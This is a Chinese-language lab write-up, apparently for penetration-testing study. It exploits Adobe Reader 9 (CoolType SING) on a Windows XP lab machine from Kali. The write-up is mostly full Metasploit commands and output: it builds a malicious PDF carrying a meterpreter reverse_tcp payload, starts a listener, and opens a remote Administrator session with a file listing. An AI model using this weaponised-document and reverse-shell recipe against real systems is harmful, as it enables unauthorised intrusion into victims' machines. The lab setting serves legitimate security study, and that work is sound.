基于文件格式的渗透攻击（ 以PDF 文件为例）

一、实验环境

攻击机：kali 2019.3

目标机：winXPSP3

漏洞

• 软件版本 Adobe Reader 9
• 影响到的版本 适用于Windows、 Macintosh和Unix的Adobe Reader 9.3.4及更早版本；
• CVE描述渗透模块 http://www.adobe.com/support/security/advisories/apsa10-02.html
• 渗透模块的细节 /modules/exploits/windows/fileformat/adobe_cooltype_sing.rb

二、实验步骤

1、创建恶意PDF文件（msf.pdf）

    msf5 > use exploit/windows/fileformat/adobe_cooltype_sing 
    msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf5 exploit(windows/fileformat/adobe_cooltype_sing) > show options 
    Module options (exploit/windows/fileformat/adobe_cooltype_sing):
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       FILENAME  msf.pdf          yes       The file name.
    Payload options (windows/meterpreter/reverse_tcp):
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST                      yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port
       **DisablePayloadHandler: True   (RHOST and RPORT settings will be ignored!)**
    Exploit target:
       Id  Name
       --  ----
       0   Automatic
    msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set lhost 10.10.10.155
    lhost => 10.10.10.155
    msf5 exploit(windows/fileformat/adobe_cooltype_sing) > exploit 
    [*] Creating 'msf.pdf' file...
    [+] msf.pdf stored at /root/.msf4/local/msf.pdf

2、将msf.pdf发送到靶机(XP)上

3、kali 启动监听

    msf5 > use exploit/multi/handler 
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > show options 
    Module options (exploit/multi/handler):
       Name  Current Setting  Required  Description
       ----  ---------------  --------  -----------
    Payload options (windows/meterpreter/reverse_tcp):
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST                      yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port
    Exploit target:
       Id  Name
       --  ----
       0   Wildcard Target
    msf5 exploit(multi/handler) > set lhost 10.10.10.155
    lhost => 10.10.10.155
    msf5 exploit(multi/handler) > exploit 
    [*] Started reverse TCP handler on 10.10.10.155:4444 

4、XP打开msf.pdf

5、kali 获得meterpreter

    msf5 exploit(multi/handler) > exploit 
    
    [*] Started reverse TCP handler on 10.10.10.155:4444 
    [*] Sending stage (179779 bytes) to 10.10.10.131
    [*] Meterpreter session 1 opened (10.10.10.155:4444 -> 10.10.10.131:1190) at 2021-10-06 03:08:51 -0400
    
    meterpreter > getuid 
    Server username: DH-CA8822AB9589\Administrator
    meterpreter > ls
    Listing: C:\Documents and Settings\Administrator
    ================================================
    
    Mode              Size     Type  Last modified              Name
    ----              ----     ----  -------------              ----
    40777/rwxrwxrwx   0        dir   2021-09-29 08:57:48 -0400  .idlerc
    40555/r-xr-xr-x   0        dir   2011-08-14 01:41:33 -0400  Application Data
    40777/rwxrwxrwx   0        dir   2011-08-14 01:41:33 -0400  Cookies
    40777/rwxrwxrwx   0        dir   2011-08-14 01:41:33 -0400  Desktop
    …………

三、参考文献

《精通Metasploit渗透测试》